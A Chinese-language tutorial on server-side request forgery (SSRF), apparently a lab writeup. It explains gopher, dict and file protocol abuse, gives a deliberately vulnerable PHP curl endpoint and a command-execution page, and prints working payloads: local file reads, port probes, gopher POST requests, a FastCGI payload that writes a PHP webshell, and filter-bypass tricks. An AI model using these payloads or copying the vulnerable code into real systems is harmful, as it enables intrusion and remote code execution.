简介
SSRF(Server-Side Request Forgery),即服务器请求伪造,是一种由攻击者构造,从而让服务端发起请求的一种安全漏洞,
它将一个可以发起网络请求的服务当作跳板来攻击其他服务,SSRF的攻击目标一般是内网。
当服务端提供了从其他服务器获取数据的功能(如:从指定URL地址获取网页文本内容、加载指定地址的图片、下载等),
但是没有对目标地址做过滤与限制时就会出现SSRF。
场景
- 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
- 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
- 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
- Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
- 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
攻击
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
- 攻击运行在内网或本地的应用程序
- 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
- 下载内网资源(如:利用
file
协议读取本地文件等) - 进行跳板
- 无视cdn
- 利用Redis未授权访问,HTTP CRLF注入实现getshell
函数
file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函数使用不当会造成SSRF漏洞
协议
file
: 在有回显的情况下,利用 file 协议可以读取任意内容dict
:泄露安装软件版本信息,查看端口,操作内网redis服务等http(s)
:探测内网主机存活gopher
:gopher支持发出GET、POST请求
主要了解一下gopher协议,平时用的比较少:
gopher
协议是一种信息查找系统,他将Internet
上的文件组织成某种索引,方便用户从Internet
的一处带到另一处。在WWW
出现之前,Gopher
是Internet
上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70
端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面。
gopher协议的格式:gopher://IP:port/_TCP/IP数据流
- gopher协议发送http get请求
构造
HTTP
数据包
URL
编码、替换回车换行为%0d%0a
,HTTP
包最后加%0d%0a
代表消息结束发送
gopher
协议, 协议后的IP
一定要接端口
- 发送http post请求
POST
与GET
传参的区别:它有4
个参数为必要参数需要传递
Content-Type
,Content-Length
,host
,post
参数
利用
关键代码:
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
echo $result;
}
?>
内网访问
使用http协议直接对内网的Web应用进行访问
payload:http://localhost/flag.txt

伪协议读文件
利用伪协议可以直接拿到文件源码内容
Payload:file:///Applications/phpstudy/WWW/flag.php

端口探测
利用dict
和http
协议可以探测内网主机和端口存活情况:
payload:url=dict://127.0.0.1:3306

可以看到我这里3306端口是打开的,版本号是8.0.28

发POST请求
可以利用gopher
协议发起POST请求
接收文件
post.php
代码:<?php if(isset($_POST['shell'])){ $shell = $_POST['shell']; system($shell); }
先构造POST请求包,与GET不同,必须传递Content-Type
,Content-Length
,host
,post
参数,否则会报错
POST /post.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
shell=ls
再使用如下python脚本生成标准格式的gopher协议
import urllib.parse
payload = \
"""POST /post.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
shell=ls
"""
tmp = urllib.parse.quote(payload) # 将换行编码成%0a
new = tmp.replace('%0A','%0D%0A') # 在gopher协议中,进行URL编码,会将回车换行编码为%0d%0a
result = 'gopher://127.0.0.1:80/'+'_'+new # 拼接成完整payload
result = urllib.parse.quote(result) # 再次url编码,因为
print(result)
得到标准格式协议:
gopher%3A//127.0.0.1%3A80/_POST%2520/post.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25208%250D%250A%250D%250Ashell%253Dls%250D%250A
成功执行:

攻击FastCGI协议
- FastCGI(Fast Common Gateway Interface)就是一个通信协议,相比HTTP协议,HTTP是浏览器与服务器中间件进行数据交换的协议,而FastCGI就是服务器中间件与某个语言后端进行数据交换的协议。
HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。
类比HTTP协议来说,FastCGI协议则是服务器中间件和某个语言后端进行数据交换的协议。FastCGI协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照FastCGI的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
和HTTP头不同,Record中Header的大小固定8个字节,body的大小是由头中的contentLength指定,其结构如下:
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
语言端解析了FastCGI头以后,拿到contentLength
,然后再在TCP流里读取大小等于contentLength
的数据,这就是body体。
requestId
作为同一次请求的id。
type
就是指定该Record的作用。因为FastCGI一个Record的大小是有限的,作用也是单一的,所以我们需要在一个TCP流里传输多个Record。通过type
来标志每个Record的作用,主要有以下几个类型:

当后端语言接收到一个type
为4的record后,就会把这个record的body按照对应的结构解析成key-value对。
- PHP-FPM(PHP FastCGI Process Manager)其实是一个fastcgi协议解析器,按照FastCGI的协议将TCP流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2
,如果web目录是/var/www/html
,那么Nginx会将这个请求变成如下key-value对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER
数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER
数组,也是告诉fpm:“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME
的值指向的PHP文件,也就是/var/www/html/index.php
。

PHP-FPM默认监听的端口是9000,一般情况会只会接受127.0.0.1也就是本地的请求,利用SSRF可以越权访问。
利用FastCGI修改环境变量auto_prepend_file = php://input
和allow_url_include = On
,就会在执行php脚本之前包含auto_prepend_file
文件的内容,php://input
也就是POST的内容,这样我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm
任意代码执行的攻击。
那么只要目标服务器上存在可访问的php文件即可RCE。
- 测试
已知存在/var/html/www/index.php
,准备一句话木马<?php system($_GET['shell']);?>
。
利用**Gopherus工具**生成payload:

再次url编码,因为GET传值和CURL都会解码一次:
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH127%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%257F%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520%2522PD9waHAgc3lzdGVtKCRfR0VUWydzaGVsbCddKTs%2FPg%253D%253D%2522%2520%257C%2520base64%2520-d%2520%253E%2520shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
成功写入shell.php
:

绕过
一些常见的限制和绕过姿势。
URL
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
例如限制路径必须含有http://www.baidu.com
:
preg_match('http://www.baidu.com',$url); // http://www.baidu.com@192.168.0.1
对上述URL的内容进行解析的时候,很可能会认为访问URL的host为www.baidu.com
,而实际上这个URL所请求的内容为192.168.0.1
上的内容。
数字IP
一些后端对传过来的URL参数进行正则匹配来过滤掉内网IP,对于这种过滤,可以改变IP的形式来绕过。
例如:十六进制、八进制、十进制、省略模式